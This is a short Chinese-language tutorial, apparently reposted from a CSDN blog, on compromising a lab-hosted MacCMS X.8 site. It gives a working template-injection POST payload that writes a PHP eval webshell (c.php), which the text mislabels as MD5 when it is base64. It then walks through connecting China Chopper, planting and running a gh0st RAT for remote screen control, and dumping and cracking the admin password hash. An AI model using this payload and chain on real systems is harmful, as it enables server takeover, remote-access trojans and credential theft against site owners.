苹果CMS X.8如何修改设置以获取管理员权限？

本文共计476个文字，预计阅读时间需要2分钟。

使用工具火狐插件的Hackbar，结合中国菜刀gh0st，可挖掘苹果CMS历史漏洞。详情请见：https://blog.csdn.net/m0_37438418/article/details/%E7%94%A8%E5%88%B0%E7%9A%84%E5%B7%A5%E5%85%B7%20%2B%20%E7%81%AB%E7%8B%90%E6%8F%92%E4%BB%B6hackbar%20%2B%20%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%20%2B%20gh0st%20%2B%20%E8%8B%B9%E6%9E%9C%20cms%20%2B%20%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E

用到的工具火狐插件hackbar中国菜刀gh0st苹果cms历史漏洞blog.csdn.net/m0_37438418/article/details/81006161

操作步骤

下载火狐插件 hackbar 在苹果 cms 的主页搜索界面临时搭的站 192.168.0.137/

2.按下 F12 点 HackBar 选择 Post data 填写如下内容点击 Execute 按钮

·192.168.0.137/index.PHP?mvod-search·wd{if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x MD5解密1 就是创建 c.php 传入参数 c

3.打开中国菜刀右键 -> 添加 。输入以下内容 4. 找到 config.php 文件打开 5.打开 Gh0st 。选项 -> 创建客户 输入以下信息后测试连接 在这里需要查找合适的端口尽量选择数字大的端口查看此端口是否被占用如果被占用则结束占用此端口的进程

如果测试连接成功点击 “生成” 按钮 将木马文件保存。

把 server.exe 放入菜刀直接拖进去

打开菜刀 右键 -> 虚拟终端 输入 server.exe 执行木马文件。之后会在Gh0st 下看到被连接的用户。

右键 -> 屏幕控制 右键 -> 控制屏幕 。 打开 Phpstudy -> MySQL 管理器 -> MySQL-Front 10 找到在config.php 里对应的数据库名 “maccms” 打开可疑的表 “mac_manager”

管理员账号admin 管理员密码a66abb5684c45962d887564f08346e8d 解密后admin123456

登录后台 成功